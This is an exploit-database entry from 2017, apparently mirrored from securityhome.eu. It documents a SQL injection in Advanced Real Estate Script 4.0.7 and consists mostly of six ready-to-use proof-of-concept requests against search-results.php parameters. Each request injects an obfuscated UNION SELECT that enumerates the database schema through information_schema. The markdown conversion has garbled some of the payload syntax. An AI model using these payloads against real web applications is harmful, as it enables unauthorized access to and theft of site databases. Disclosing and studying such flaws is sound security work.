

## Advanced Real Estate Script 4.0.7 SQL Injection

Article URL

[exploit.php?eid=15231323625a2f7eb6a82ba7.21230175](http://www.securityhome.eu/exploits/exploit.php?eid=15231323625a2f7eb6a82ba7.21230175)

Author

SecurityHome.eu

Published: 12 December 2017

---

#####

# Exploit Title: Advanced Real Estate Script 4.0.7 - SQL Injection

# Dork: N/A

# Date: 10.12.2017

# Vendor Homepage: <https://www.phpscriptsmall.com/>

# Software Link: <https://www.phpscriptsmall.com/product/advanced-real-estate-script/>

# Version: 4.0.7

# Category: Webapps

# Tested on: Win7\_x64/KaLiLinux\_x64

# CVE: N/A

#####

# Exploit Author: Ihsan Sencan

# Author Web: <http://ihsan.net>

# Author Social: @ihsansencan

#####

# Description:

# The vulnerability allows an attacker to inject sql commands....

#

# Proof of Concept:

#

# 1)

# [http://localhost/\[PATH\]/search-results.php?Projectmain=\[SQL\]&search=](http://localhost/[PATH]/search-results.php?Projectmain=[SQL]&search=)

#

#

-1'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(!02222Select\*/+export\_set(5,@:=0,(!02222select\*/+count(\*)!02222from\*/(information\_schema.columns)where@:=export\_set(5,export\_set(5,@,(!02222table\_name\*/,0x3c6c693e,2),(!02222column\_name\*/,0xa3a,2)),@,2)),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49))--+

#

#

# 2)

# [http://localhost/\[PATH\]/search-results.php?proj\\_type=\[SQL\]&search=](http://localhost/[PATH]/search-results.php?proj_type=[SQL]&search=)

```
#
#
-1'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(!05555Select*/+export_set(5,@:=0,(!05555select*/+count(*)!05555from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,(!05555table_name*/,0x3c6c693e,2),(!05555column_name*/,0xa3a,2)),@,2)),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49))--+-
#
#
# 3)
# http://localhost/[PATH]/search-results.php?searchtext=[SQL]&search=
#
#
-1'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(!09999Select*/+export_set(5,@:=0,(!09999select*/+count(*)!09999from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,(!09999table_name*/,0x3c6c693e,2),(!09999column_name*/,0xa3a,2)),@,2)),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49))--+-
#
#
# 4)
# http://localhost/[PATH]/search-results.php?sell_price=[SQL]&search=
#
#
-1'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(!09999Select*/+export_set(5,@:=0,(!09999select*/+count(*)!09999from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,(!09999table_name*/,0x3c6c693e,2),(!09999column_name*/,0xa3a,2)),@,2)),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49))--+-
#
#
# 5)
# http://localhost/[PATH]/search-results.php?maxprice=[SQL]&search=
#
#
-1022220'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(!09999Select*/+export_set(5,@:=0,(!09999select*/+count(*)!09999from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,(!09999table_name*/,0x3c6c693e,2),(!09999column_name*/,0xa3a,2)),@,2)),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49))--+-
#
#
# 6)
# http://localhost/[PATH]/search-results.php?maxprice=[SQL]&search=
#
#
-45'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(!09999Select*/+export_set(5,@:=0,(!09999select*/+count(*)!09999from*/(information_schema.columns)where@:=export_
```

```
set(5,export_set(5,@,/*!09999table_name*/,0x3c6c693e,2),/*!09999column_name*/,0xa3a,2)),@,2)),(18),(19
),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42)
,(43),(44),(45),(46),(47),(48),(49)--+-
#
#
#####
```